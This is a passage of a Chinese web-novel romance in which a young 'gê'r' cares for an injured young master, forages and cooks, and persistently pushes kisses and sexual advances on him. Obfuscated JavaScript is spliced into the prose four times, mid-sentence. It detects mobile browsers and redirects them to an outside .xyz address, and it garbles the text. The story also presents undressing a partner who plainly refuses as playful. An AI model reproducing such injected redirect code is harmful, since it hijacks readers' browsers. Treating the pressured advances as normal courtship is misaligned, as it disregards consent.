大少爷傻愣愣的,他四处寻盆他也跟着四处寻,都不知道人家寻什么就四周忙,逗得奈宁好笑,眉眼都是弯弯的:“去拿个菜篮子过来。” 奈宁又翻出摘的青菜挖的笋:“这白花菜滚鸡蛋汤好吃,马齿苋凉拌好吃,竹笋,咱们也泡个酸笋吧!” 萧练都不晓得这些,就没有不应的,随他说,只在旁边点头,时不时嗯两声。 院子里日头有些大,他眼睛微微弯着,小哥儿冲他一笑,他嘴角就忍不住翘起来,在那里愣着站了好久,才想起自己带了东西,忙从怀里掏出来。 “这个,给你。” 有段时间没有开口了,说话声音有点沙哑。 17. 第 17 章 奈宁忙洗干净手,在衣服上擦了擦,伸双手去接。 一个个精致漂亮的木盒子搭在他手心,还没凑近就闻着香香的。 “这是什么?”小哥儿眼睛光芒闪闪。 萧练偏过脸:“嗯……香、香香皂。”心跳有点莫名。 忍不住又偏头过来看了看。 四个木盒子有点多,小哥儿用衣摆撑着,笑盈盈的一个个细闻:“啊,这个我知道,这是桂花味,这是茉莉味,咦,这个是什么,好清冷的味道?啊,这个这个是奶……” 说到这里他脸红了,最后一个木盒子一股子奶味,跟刚满月的小娃娃一样的奶味儿。 悄悄的觑着大少爷,难得地有点不好意思说下去。 萧练好笑,这会儿知道拘谨了。 从小哥儿手中接过来闻了闻,浅浅笑道:“一个是檀香,一个是乳香。” 奈宁羞死了:“你喜欢乳香啊?” 小哥儿□□比姑娘小太多,很难产奶,但是好像生子后是可以产奶的。 他羞得咬唇,但还是看着大少爷。若大少爷喜欢,他不是不可以快点要小孩。 萧练如被当头一棒,他刚才说什么了,小哥儿就这么羞羞答答的? 这能有什么好事? 他又恼又羞,怒道:“这是羊乳香,想哪里去了!” 奈宁一张脸蛋红得烧到耳根,他真是想歪了。 原本还有点生活气息的院子,霎时寂静得又恍若回到当初的荒芜。 萧练低咳一声:“这、这香皂可以洗澡洗脸,抹在身上有香味。” “所以,你为何有一个奶香的香皂?”小哥儿歪着脑袋问。 神情像呆萌的小猫小狗,问出来的话却叫大少爷半天答不出话来。 萧练嘴巴张了好几下,咬牙,恼怒道:“不过就是一种香味而已,你衣服都湿透了,赶紧洗澡去吧!” “好的,那我先用这个奶香的香皂,给大少爷闻闻!” “……” 晌午,萧练都不敢小憩,一直忙着编竹网,给菜地做围墙。 刚睡醒的小哥儿睡眼朦胧凑到他跟前,幽幽奶香扑鼻,不似锁在香皂里时那么浓,若隐若现的,更加撩人。 萧练眼皮也没怎么抬,日头大天气热,即使在树荫下,额角还是沁出点汗珠,他也没去擦。 小哥儿似好奇的小猫崽愣是越靠越近,都要贴到他眼皮底了下,扑闪的长睫似把小扇子直往他脸颊扇风。 终于,萧练扛不住了,身子微不可见地往后退,抬起眼帘:“做什么?” 大手握着竹子,隐隐发抖,在竭力控制什么。 奈宁冲他一笑:“我就想问你怎么不看我?” 萧练瞥了他一眼,耳尖悄悄红了,脸又偏过一旁,眼睑半垂,低声说:“没什么。” 嗓子暗哑,却又好听,自带蛊惑人心的音色。 奈宁凑过去在他嘴角亲了一口,萧练抬眸张口要说他,一方素净手帕闯入眼帘,小哥儿在细心轻柔地给他擦汗。 他莫名想起爹娘。 他父母恩爱,那爹在外奔波回来,娘亲总会笑盈盈迎上去,掏出手帕,细心认真地给他爹擦汗。 萧练眼眶一红,抿唇不说话了。 大少爷乖乖的,今日没说他无耻,坐在小凳子子沉默编竹网,看着莫名可爱,奈宁心尖儿都在颤动,拇指抚过大少爷嫩滑的脸颊,忍不住捧起他的脸又亲了亲。 亲就算了,还又咬了唇。 萧练:“……” 等小哥儿回去编网了,他还在想这条事,干嘛又咬他?难不成又在生气?看着不像,嘴角还带着笑呢。 萧练情不自禁舔了舔唇,难道是咬着舒服? 他眼睛落在小哥儿些微饱满的唇瓣,颜色浅了些,白惨惨的,看着不好看,却很软,触感也很好。 乳香,真的好闻。 一乱想就不得了,满脑子都是旁的人,心脏也涨得很满。萧练摇摇脑袋,不敢多想。 傍晚,萧练去做饭,奈宁洗了菜,舀早晨吃剩的粥拌碎草喂鸡,又捞了个河蚌切碎,河蚌主要喂给母鸡吃,图它生个大些的蛋,几只小鸡吃的要切得更碎一些,就喂一点点,让它们解解馋。 看它们叽叽喳喳叫着,争先恐后来抢肉吃,奈宁就觉得开心,这日子舒服又自在。 吃过饭洗完澡才是大少爷噩梦的开始。 奈宁进房时把门关上锁好,萧练有些讶异,眼皮直跳,但没多动作。 奈宁笑盈盈地坐在床边,给大少爷换药揉腿。 从大腿根一直到脚掌,舒服得萧练浑身酥软头皮发麻。 靠在床头,眼睛半眯着,脸上神情逐渐放松。 这会小哥儿没有四处乱摸,老老实实,但是揉到腿根时,萧练还是忍不住颤一颤。 人家不出声,他也不好多说。 若是忍住那股羞意,其实很舒服。 在他快要睡着时,按揉结束了,双足被泡进水里,那一刻浑身毛孔张开,潮湿的暖意从脚底涌进四肢百骸,舒服得他一下子精神了。 小哥儿泡过热水的手,带着湿润在他腿上撸上撸下。 拄拐一日的那点酸痛,顿时消散。 他看着小哥儿,视线有些舍不得挪开,脑子乱糟糟的不知道在想什么。 泡完热水后,小哥儿递了条新裤子过来让他换上。 萧练愣愣接过,看着小哥儿收拾的背影,再看看裤子,好久才反应过来,他不出去自己怎么换裤子? 萧练坐在床上没动。 奈宁将擦洗过的棉帕先就着水洗一洗,拧干放在一旁晾晒,明日再处理。 今日他有了个心眼,可不能出去了,一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749394|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大少爷把门关了怎么办? 他可太聪明了! 他擦干净手,闻了闻自己身上的味道,香香的,今晚洗澡特意又用了大少爷喜欢的奶香香皂。 他现在是将灯吹熄了,适应混乱的光线后,蹑手蹑脚走到床边。 窗台半张,一缕月光从窗外映入。 奈宁脱了鞋子爬到床上时,大少爷还在呆呆看着他。 奈宁在大少爷脸嘴角亲了一口,拿过大少爷手中的裤子:“我来帮你换裤子吧?” 说着伸手就去扒拉裤子。 萧练还在发怔,为何灯熄了小哥儿还没出去? 刚才小哥儿进门时顺手关门又锁门的那一丝疑惑,在此时得到解答。 “你做什么?你自己……我自己来!” 他万万没想到小哥儿竟如此胆大,直接伸手过来扯他的裤腰带。 “好吧。”奈宁顺从的将裤子还他,乖乖坐在旁边等他换裤子。 萧练看了他好几眼:“你……不出去么?” “我跟你睡呀!”奈宁屁股挪过来,手搭在大少爷的肩膀上,瘦巴巴的下颌也小心翼翼搭上去:“我跟你睡,你若是不习惯我脱衣服,我不脱就是了?” 萧练不适应地抖动肩膀,往出挪了两步:“不是这个问题!” “嗯?”奈宁又蹭上去。 乖乖软软的声音响在耳侧,耳畔好似被风撩了一下,萧练身子微微一颤,下一刻一双手轻轻圈住他的腰,肩膀再次轻轻搭上颗毛茸茸的脑袋。 偏头,奶香扑鼻,对上一双含笑的眼睛,乖软的脸蛋,眼睫扑闪两下,闭了眼就要亲上来。 萧练心脏狂跳。 先是鼻尖触碰到彼此。 萧练莫名想起那小巧又挺拔的鼻梁。 柔软的唇瓣亲到嘴角,他还没回过神来,直到嘴唇被吮入含住,又被不轻不重地咬了一口。 本来一切都好好的,凑近了,奈宁先蹭蹭大少爷的鼻尖,很好玩的感觉,将大少爷压扁后才触到嘴唇,唇瓣很软莫名很好亲,就是没什么味道,他想含一含吮一吮,还是没有味道,心头莫名痒痒,就想咬一口。 本来乖乖的大少爷忽然怪叫一声,挣扎动作太大,都跌下床去了。 奈宁赶紧将人打捞上来,大少爷却发狠地甩开他的手:“不要你扶!” 自己挣扎着爬起来,狼狈地坐在床头。 奈宁悻悻坐在旁边不敢碰他,生怕他一个不高兴又拐了脚。 萧练胸膛不断起伏,越想越火大:“是这个问题吗?我不是跟你说过,父母之命媒妁之言,你怎么就不听?” “嗯?”奈宁歪了歪脑袋,有些没反应过来大少爷在火大什么,眨眨眼睛,道:“那你要上门提亲娶我吗?” 萧练一噎。 奈宁抿了抿唇,将大少爷推倒在床上亲了上去。 18. 第 18 章 奈宁一大早就上山了,他也是有脾气的,不想看到大少爷,捧了两个馒头,天没亮就出来了。 当然他出门的时候,还是撞上刚起床的大少爷。 大少爷拄着拐,挡在前面。 奈宁只当没看到,用力地撞了一下他肩膀,头也不回地走了。 昨晚大少爷骂他不知廉耻! 他将头发放下,衣服解下,坐在大少爷身上,大少爷没有动情,反而将他推开。 他又上去给大少爷换裤子,裤头扯下一半,大少爷脸蛋憋成猪肝色,死死扯着裤头,大骂他不知廉耻,还挣扎着去拿拐杖。 拐杖砸来,奈宁有些要哭了,仰着脸说:“除非打死我,不然我就是要跟你生米煮成熟饭。” 大少爷最后没下手,不对,应该说下手了,只是调了方向,狠狠一棒打在他自己伤腿上。 两个人都泪流满脸,不过大少爷哭得更凶一点,毕竟那一棒真不轻。 那一棒之后,大少爷泪如柱下,坐在那里不会动了。 奈宁也很委屈,一边抽噎,一边抱着他的腿给他检查,又又又流血了。 给大少爷换了药,奈宁就出去了。 奈宁摸黑上山,就算没跟大少爷怄气,也该是上山的时候了,坐吃山空可不行,米粮也没有那么多了,大少爷的腿,天天这么折腾也不是事,还是得多打点鱼给他补补。 要是能打到鸟就好了。 鸟很难打,但掏掏鸟蛋还是可以的。 白天热晚上凉,晨间雾气重,茂密山林笼罩在迷雾中,爬到山上的时候,晨曦破开云雾,雾气慢慢消散。 这时候的太阳最是热毒,必须戴好斗笠。 溪流旁,草木茂密,蜜蜂蝴蝶到处飞,奈宁专挑没有人的地方去,先寻了一处做陷阱捕鱼。 一边顺着溪流往上走,注意看鸟儿从哪里飞出。 茂密的草丛以及树上可能有鸟蛋,但他不爬树,专往地下看。 扒开草丛,时不时就能看到一个鸟窝。一窝掏一只,碰到少的就不掏了。 路上看到蘑菇,眼睛一亮,走快了两步,拍拍蘑菇脑门,赶紧摘起来。 大多是些平菇,一簇一簇的长在树荫底下,还有一些旁的菇,赤橙黄绿青蓝紫,五花八门的都有,像一座矮矮的小房子一样,待在脚边地上。 扒拉开草丛才能看到,得用心观察注意。 奈宁有时候就觉得这些蘑菇就像一个矮人国的房子,看着真是莫名可爱。 老人都说摘蘑菇的时候要用手拍拍它的脑袋,虽然不知道为什么,但他每次都照做。 没走几步,又被他发现几朵挤在一起的牛肝菇,好大一朵,肥肥墩墩,肉很厚,像结实的小房子。 一手拔一朵,没几朵就够一盘菜。 奈宁忍不住笑出声了。 牛肝菌炒了吃,特别香。 看着这蘑菇,他都要流口水了,把它们全部放进背篓里,开心得要跺脚。 今天运气很好,一路走过去好多牛肝菌。 更让人开心的是,他在一棵树下摘到了一颗灵芝。 这灵芝跟枯叶堆在一起,他一开始没注意看都走过去了,感觉不对劲,又扭过头来。 好大一朵,年份他是估不出来的,只知道这是灵芝。 若是不识的,就会以为是什么树干。 真是好幸运! 还有好多他不认识的蘑菇,村里人教的一个辨蘑菇的方法,被虫吃的蘑菇是能吃的,没有虫吃的蘑菇是不能吃的,也就是如此,他认识了不少蘑菇。 还有不少鸡枞菇,菇顶都烂了也没人摘,又大又多。 这边人不太会辨别蘑菇,满山遍野的蘑菇都不太敢摘。 这鸡纵菇跟一种毒蘑菇长得可像。 但是拿到集市上卖,就有人买。 他也是饿的没办法了煮来吃,好几次差点要死,才能分辨出来。 鸡枞菇好吃得可以跟鸡肉媲美,不管是煲汤还是炒,都很好吃。 满山遍野都是,都没有人捡。 不过也是,这会儿天气潮湿,长的蘑菇才多些,之前都没这么多的。 还有不少木耳,木耳一般长在朽木上,一长就是一树,摘了一茬还有一茬。 奈宁带了小锄头,还有一把柴刀,赶紧把它割下来,先挑着大朵的木耳割,不一会就割了一大抱。 又给他剪了几朵羊肚菌还有竹荪,杂七杂八一大堆。 没到晌午,背篓就要满了,沉甸甸的。 这回是真捡不动蘑菇了,又去掏了几个鸟蛋,开始去捕鱼。 鱼游得快很难捉,他用削尖的树枝来刺鱼。 他的准头在村子里够高了,捉了半天还是打水漂,想吃一口肉真是不容易。 他索性继续在那里摸螺,这里的不是田螺了是石螺,小小一个。 把一个石螺敲开取出肉,放到陷阱里用来钓鱼。 好多鱼躲在石缝里头。 取了一根麻绳,吊着肉,伸到这石缝旁边,等鱼上钩。 天色还早,他也不急,取出馒头一边吃一边等鱼儿上钩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749395|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一闲下来就想起大少爷,今日收获满满,心情好,就算回想起大少爷也是笑着的,想到大少爷把自己腿敲了一棒,泪流成那个样子,又惨又好笑。 好傻的人。 还是等他腿好一点再说吧。 不知不觉时间过去,麻绳一动,奈宁立刻回过神来,待麻绳变得沉重直往水里拽时,猛地收绳,绳的别一头赫然吊着一尾鱼,疯狂甩鱼。 奈宁眼疾手快将它抓住,这鱼不小,得有个两斤。 有鱼吃,他就很满足了,没有费时间再钓,拿草绳扎了鱼嘴。 一路又摘了些紫苏野山姜野葱,看到熟透的捻子,也停下来摘一些。 背篓塞得满满当当,奈宁开开心心下山去。 另一边,萧练就没有这么开心了。 小哥儿看也没看他一眼就离开,他都没心情煮朝食,一个人闷闷地坐在床上,盯着腿看。 如果不是这双腿,他也不必被困在这里。 如果腿能好,他就能走出这个宅子,能成亲生子。 不知为何,腿又莫名阵阵发疼,越想越痛,似是要绝了他想走出去的念头。 他不甘心,脚踩在地上,没有支拐杖,他想试试自己能不能走路,刚用上一点力,受伤的部位就钻心地疼。 他咬着牙愣是踩了下去。 当全身的力量倾注到那支伤脚上的时候,一步都没能走出去,腿痛到没有知觉,他浑身发软,摔倒在地上。 奈宁回到家,家里面黑灯瞎火。 他喊了好几声都没有人应,提心吊胆摸瞎点了灯。 房间里拐杖东歪西倒无人扶,床上有人,奈宁唤了声没人应,油灯照进床肚,大少爷死鱼一样躺在床上。 奈宁一惊,心里害怕死了,快步走过去,先探了大少爷的鼻息,又摸摸胸口,有气儿,心跳也还在。 那一刻他真的有点要哭了,收回手,讷讷的看着大少爷,不知道大少爷又怎么了。 房间里一片死寂,默默流泪的哥儿,装死的男人。 良久,奈宁受不了了,伸手扯了扯大少爷的衣袖。 床上的人眼睛都不带往这边看,一如当初奈宁刚看到断腿的他时,躺在床看着床顶,等死。 奈宁抹了眼泪,俯下身去亲他,唇瓣眉眼鼻尖下颌线喉结,甚至跨坐到他身上,将他衣襟扯开,手摸进胸膛,在他身体上乱摸,也丝毫反应没有。 奈宁抬头看着他,见他一副死猪不怕开水烫的样子,眼泪越流越凶。 一狠心,扯开他的腰带。 19. 第 19 章 床上躺着的人,眼睫颤动了一下。 奈宁没管,把他腰带除了,接着动作麻利地去扒裤子,刚脱到一半,屁股蛋都没露出来。一只手伸了过来,拽着裤头,幽怨地看着他。 抬头看到一双委屈的死鱼眼。 奈宁掰开他的手,不管不顾地继续给他脱裤子。 大少爷终于挣扎着坐起来了,一边拽裤头一边推奈宁,恼羞成怒,喝道:“你做什么!” 奈宁道:“反正你都要死了,临死之前让我睡一下怎么了!” 萧练一噎:“你、你真不知羞耻!” 说着偏过头又默默流泪。 看大少爷流泪,奈宁心里也难受,停止了动作,悻悻从他身上下来。 半晌谁都没有说话。 奈宁小心翼翼扯扯大少爷衣袖:“你怎么又想不开了,谁惹你了?” 大少爷将身子侧到向一边,衣袖扯回来,脑袋也扭到一旁。 奈宁在旁边小声说:“以前我回来,你不都给我煮饭吗?现在怎么就黑灯瞎火,一口热乎饭菜都没有?我在外头忙了一整天,好累的。” 细碎又小声的抱怨,唤不回男人的回应,奈宁也不知道要说什么,忙一天肚子真是饿了。 大少爷不会还在生气昨天晚上的事情吧? 不对啊,如果大少爷生气,今日早上怎么会那么早出去看自己? 被自己撞了也没有生气。 所以他出去的这段时间到底发生了什么? 他看着屋子四周,房间里一切布置都没有变化,少了的那个椅子现在还是少的,其他椅子都整整齐齐地摆放着。 就是大少爷的拐杖倒在地上无人扶。 可能是大少爷的毛病又犯了吧。 一开始看到大少爷的时候,不就是躺在床上等死么。 奈宁轻轻叹息一声。 他确实不太理解大少爷,人长得又好看,自由自在,不就是瘸了一条腿吗? 不过大少爷伤心难过,他不会去戳大少爷伤疤就是了,就小心翼翼地过去拉大少爷的衣袖,轻轻扯着。 也不说话,就这么静静跟他耗。 等大少爷终于看过来,他摸着肚子委屈的说:“我饿了,我一大早上山,忙了一天,回来什么东西都没有得吃,好饿!” 大少爷一张白净脸蛋隐在黑暗中,乌发垂散,虽然尽量偏过脸了,但依稀可见眼睫还挂着泪珠,嘴唇嗫嚅两下,终于语气不善道:“灶房还有两个馒头,要吃不会自己吃吗!” “怎么会还有两个馒头呢?你今天一点东西都没有吃?” “我不饿,不想吃,怎么了!” 这时候大少爷的肚子咕噜咕噜的叫起来,一向好面子的大少爷脸色更黑了。 奈宁低声哄道:“看你都饿了,若不想吃冷馒头,我就给你做饭,好吗?” 想到什么奈宁开心道:“我在山里摘了不少果子,你先吃一些垫垫肚子吧!” 说着他赶紧出去洗了一捧捻子进来,献宝一样献给大少爷。 捧在那里手都累了,也没有人应。 奈宁撇撇嘴放到一边:“你自己想吃了就拿,我先出去做饭了。” 奈宁将地上的拐杖捡起放在床角,方便大少爷起来。 担心大少爷想不开,走到半路又回头:“你可千万不要想不开啊,不然,到时候你死了我也要!” 萧练的视线从小哥儿的背影收回来,落在捻子上,低低说了声:“无耻。” 心里存了事,奈宁煮饭都乱七八糟的,先淘米下锅,柴火跟他做对似的,半天点不上。 之后切鱼,时不时就要往大少爷的房间看两眼,担心大少爷想不开。 一个分神不小心刀子割破了手指,痛得惊呼一声。 房间里咚的一声,他赶紧丢了刀子,捂着手快步进了房,大少爷还好好的坐在床上,只是不知为何有些慌乱。 他松了一口气,走过去,把切到的手给大少爷看:“我切到手了!” 床上的人没说话,奈宁撇撇嘴,含着手出去了。 原本想炒鱼的,这会清蒸,再大火炒个蘑菇,炒个青菜。 几个鸟蛋放进快熟的饭里。 火熄之后,奈宁将饭菜当全部端进房里,开心道:“开饭啦!” 这一顿做得潦草了些。 但摆上桌看着还是很不错,又丰盛又香,奈宁很开心,冲大少爷又喊了两声:“吃饭了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749396|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天没有动静,走近了一看,大少爷已经面壁去了,肩膀不停的抖动。 若是细听,能听到压抑的啜泣声。 奈宁当时就绷不住,眼眶鼻子都红红的,说不出来什么感觉,好像自己莫名就很能理解大少爷的心情。 他轻轻地坐在床边,等大少爷哭过了最激动的那一阵。 又挪近了一点,低低声道:“吃饭了?” 房间里安静下来,没有了动静。 奈宁低声却很坚决地说:“你不吃我也不吃!” 终于里面的人控制不住了,猛地扭过身来吼道:“管我作甚,让我死吧!” 奈宁被他这一吼吓懵了,怔怔地看着他。 刚刚安静下来的大少爷再次掩面大哭:“我没有用,我已经是废人了,你理我做什么!” 奈宁被这一句话气到了,猛的站起来磕到了顶上杆子嗷一声痛呼,摸着脑门,怒道:“谁说你是废人了?你怎么就是废人了,我不许你这么说自己!” 萧练呆呆地反应比自己还大的他。 奈宁膝行两步跪坐在萧练跟前,捧着他的脸蛋跟他四目相对,语气凌然:“你真的很好,我从来没有遇到过一个比你还好的人!谁敢说你是废人,我拿刀宰了他!” 萧练偏过脸去:“我的腿好不了,不是废人是什么?” “你的腿伤口都没愈合,怎么会好?你好好养伤,不要再让伤口裂开了,等伤口愈合咱们再到镇上看看,我听说有名医能将歪了的骨头掰正呢,你不要太担心了,先将腿养好,万一能好呢,你就愿意这么错过了?” 奈宁又将他脸蛋掰转过来:“你今日是不是腿伤还没好就下地走路了?那怎么能好呢!饿了都走不动了,更何况你腿还伤着!” “好了,你不要再这样子了,我回来看到你突然之间又变成这样子,你知道我有多害怕吗?” “在伤口愈合前不要再犯些傻事好不好,答应我!” 连珠炮似的一番话,把萧练说得一愣一愣的,难得的点了点头。 大少爷眼睫上还缀着泪珠,乌发披散,眼眶鼻尖嫣红,看着真是美艳动人。 又可爱又乖乖的,奈宁眼睛一下子亮亮的,亲了他几口,说:“乖!” 20. 第 20 章 在萧练在推开他前,他自己就松手了,兴冲冲地出去将今天采到的宝贝献上来。 先捧上一盘清蒸鱼:“我抓到了鱼!”拿筷子夹了一块鱼肉塞大少爷嘴里,自己也吃了一口,眼睛眯了眯。 又捡起灵芝:“还摘到了灵芝!”依葫芦画瓢,一人嘴里塞了一点。 这个生吃就像啃木头一样,不妨碍他开心:“有鱼有肉还有灵芝,再好好养着,一定会慢慢好起来的!” 他满脸笑容,仿佛世上没什么可难过的,天都是亮的。 旁边洗好的果子,他拿起,塞了一枚进大少爷口中,自己也吃一口,笑盈盈说:“甜吗?” “嗯。”大少爷呆呆看着他,声音含着哭腔,但是会正常说话了,鼻子抽了抽说:“什么果子?” “捻子啊,你没吃过么?” 大少爷摇摇头。 “下次我多摘点给你吃。”奈宁捧着他的脸,亲了亲。 大少爷偏过头,耳尖还红着,低声说:“别老是亲人。” “好!”奈宁又亲了一口。 萧练:“……” 刚要下床,奈宁想到一件事情又回头,严肃道:“还有一件事我要跟你说,你老是动不动就说我不知廉耻,我不会伤心的吗?” 好生气好生气那样,都叉起腰来了。 萧练张了张嘴,最后又闭上,低着脑袋说:“以后再也不说了。” “哈哈哈。”奈宁开怀的笑了,俯下身来跟大少爷额角相贴,又亲了亲他的嘴唇。 果然今天就是个好日子! 萧练看了他一眼,垂下眼眸,默默拉过他的手。 奈宁今日话很多:“是不是哭过之后就好多了?” 一句话,将面子薄的大少爷逗得脸蛋红红的,在他灼灼目光对视下,默默的点了个点头。 奈宁坦诚笑道:“我也是经常难过了就哭,以后你若是很伤心就哭出来,不要憋在心里。” 萧练看了他一眼,嗯了声。 奈宁手上的伤口不算大,但血肉翻出来还是挺吓人的。 奈宁才发现大少爷家里原来还是有药的,是他没见过的药,大少爷拄着拐杖,翻箱倒柜找出来的。 小小的一个瓷瓶,一点点药粉倒在伤口,一下子就不痛了。 奈宁眼睛眨了又眨:“这什么药,就这么一点么?” 大少爷一边给人包扎着手指头,一边道:“不会,还有很多,刚才那一箱都是。” 奈宁惊呆了:“那你为什么不早些拿出来,给你的腿也上一些药呢?不是可以止痛么?” 大少爷包扎的动作顿了顿。 奈宁笑道:“以后我给你换药的时候用上!” “好。” 大少爷嘴角露出了一点笑,轻轻地把最后一个结打了。 奈宁抬起自己手看,大少爷连包扎都包扎得很整齐好看。 这会儿饭菜都凉了,奈宁撇了旁边人一眼,大少爷满脸窘迫,默默捧着饭菜出去,又热了一遍。 原本没有炒的几种蘑菇都洗洗炒了,大少爷低声说:“吃不了这么多。” 奈宁这才作罢。 这顿饭吃得晚,桌上饭菜却是丰盛,有鱼有蛋,还有各色炒蘑菇。 奈宁开心地分享收获的喜悦:“一条路没走完,一个又一个蘑菇,我一个人都捡不过来,若是你能跟我去捡就好了。又在想什么呢?不许难过!” 大少爷嘴角含着浅笑,偶尔露出点伤感都被打断了,时不时点着头。 小小灶房,尽是小哥儿的欢声笑语。 外面忽然狂风大作,下起了雨,天气骤寒。 奈宁想起自己的鸡,一拍大腿,赶紧挖了一碗剩饭,切了些野菜去喂鸡。 戴着斗笠风尘仆仆的去,小鸡母鸡自然没事,就是饿着了,一看到人叽叽喳喳叫个不停。 奈宁放了吃的,心情颇好地摸摸小鸡脑袋:“今天他不是故意不喂你们的,他伤心难过了,见谅啊,以后他再也不敢了。” 他捧着脑袋看小鸡吃完,自心底下发出笑来。 他收到了大少爷的承诺,以后不管他怎么亲大少爷,大少爷都不能说他无耻了。 被吓唬住的大少爷,认真又可爱。 等它们吃完了,奈宁赶紧跑回来,就这么一会儿,身都湿透了,风一吹有点寒冷,得赶紧洗澡。 大少爷拄着拐提着水桶,一趟又一趟地来回,往奈宁的房间里面倒水。 奈宁奇怪地嗯了声。 萧练提着桶,有些尴尬道:“你不是说上山累么?泡个澡吧。” 之前听到小哥儿在外头痛呼,下意识想出去,碰倒了拐杖又掉在地上了。 他是自怨自艾,却不想把自己的悲泄在别人身上。 人家辛苦给他做饭,他也想对人家好一点。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749397|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小哥儿刚来给自己提水洗澡的时候就问自己要不要泡浴,想来小哥儿是喜欢泡澡的。 奈宁都没有泡过浴,立刻笑得开怀:“谢谢啊!” 他也不拒绝大少爷的好意,只是大少爷最后一桶水还没有抬进来,他就已经脱光衣服泡进去浴桶了。 风夹雨拍打着窗户,外头电闪雷鸣。 奈宁却像听不到一样,完全沉浸在自己的世界里。水温适宜,泡在热水里,舒服得他哇哇直叫,高兴地捧着水往自己身上泼。 大少爷将水提进来,一眼看到光着身子的小哥儿,只看到笼在薄雾中的上半身,已经够他羞的了,立刻偏过头去,脸蛋涨得通红。 看他进来又不敢进来,奈宁好笑道:“你不帮我把水抬进来,难道要我起身出去抬?” 说着奈宁就要站起来,萧练忙道:“我提进去就是了!” 他低着头进来,脸蛋是已经红到耳根了,真是很好笑。 他转身要走的时候被拉住了衣服,微微偏过脸,眼眸低垂着,都不敢看。 奈宁一点点收紧,将人拉到这边来,起身在他脸蛋上亲了一口:“谢谢!” 大少爷出门的时候撞了一下墙。 后面传来的笑声,让他路都不会走了。 手忙脚乱,伤腿踩在地上,痛得直冒汗。心跳很快,说不出什么感觉。 在屋檐下吹了好久风才冷静下来。 他洗完澡的时候,隔壁屋的欢呼声才停歇。 泡澡有这么开心吗? 轻轻叹了一声,嘴角却是弯起来。 他衣服刚穿好,小哥儿就过来了,熟练地抱起他的腿,给他处理伤口,倒了一些药,原本这一小瓶的药对这么大伤口起不了太大作用,也不知道是不是错觉,确实没那么疼了。 小哥儿又给他揉腿,这一会难得老老实实,没有乱摸。 但毕竟还是会摸到大腿根如此敏感的地方,他挺不自然,伸手过来拉小哥儿的手说:“算了,今日到此吧,有点晚了,咱们先休息吧。” 奈宁道:“好啊!” 小哥儿灿烂的笑容跟果断的回应都让他恍惚一阵,下意识觉得有点不对劲,怎么回事? 果然小哥儿将东西收拾完之后,羞羞涩涩地坐在他旁边,抬起眼眸看他,又不好意思看他的样子。 含羞带怯,说出来的话,差点让大少爷炸了:“我睡里边,还是外边?” 21. 第 21 章 奈宁竖起三根手指,信誓旦旦:“我就睡旁边,绝对不会碰你的!” 萧练拧着眉看他,不太相信。 “就让我在这里睡好不好吗,我怕黑……”奈宁低着头戳着小指头,时不时偷偷瞥一眼大少爷。 他不是很乖,人没答应他就爬上床了。像跟人玩躲猫猫一样,看过去时他一动不动,不看的时候就蹑手蹑脚的爬进去。 萧练头疼,张嘴又不知道说啥。 没成想过了一会,小哥儿又倒退着爬出来了。 萧练一脸疑惑,视线跟着他走,他穿了鞋子蹑手蹑脚的走向灯台,回头冲萧练笑一笑,脸颊鼓鼓一吹。 熄灯了,一片漆黑。 一阵细碎的脚步声之后,啊呜一声奈宁又撞到了床架,萧练下意识伸手去接。 大少爷的举动让奈宁暖心了好一阵,落床后顺着大少爷手摸到大少爷所在,将大少爷按倒在床上,又推呀推呀,将人推进床肚里头,被子盖在上面。 大少爷手掌温暖又温柔,连身上衣料也柔柔软软,触感特好,靠得近了还能闻到点清香,不是什么茉莉花也不是桂花,不晓得是什么香,就很好闻。 奈宁忍不住又俯下身亲了亲大少爷。 此番摸黑乱亲,不小心亲到下颌去了,硬朗的下颌线莫名让他心动,亲了一下就忍不住亲第二下,接着整个人都攀到了大少爷身上,将大少爷下颌顶起来,亲到高低起伏的喉结。 香香的大少爷,喉结还会滚动,奈宁将它含进嘴,轻轻吮着,分明没有味道,却觉得比糖还甜。 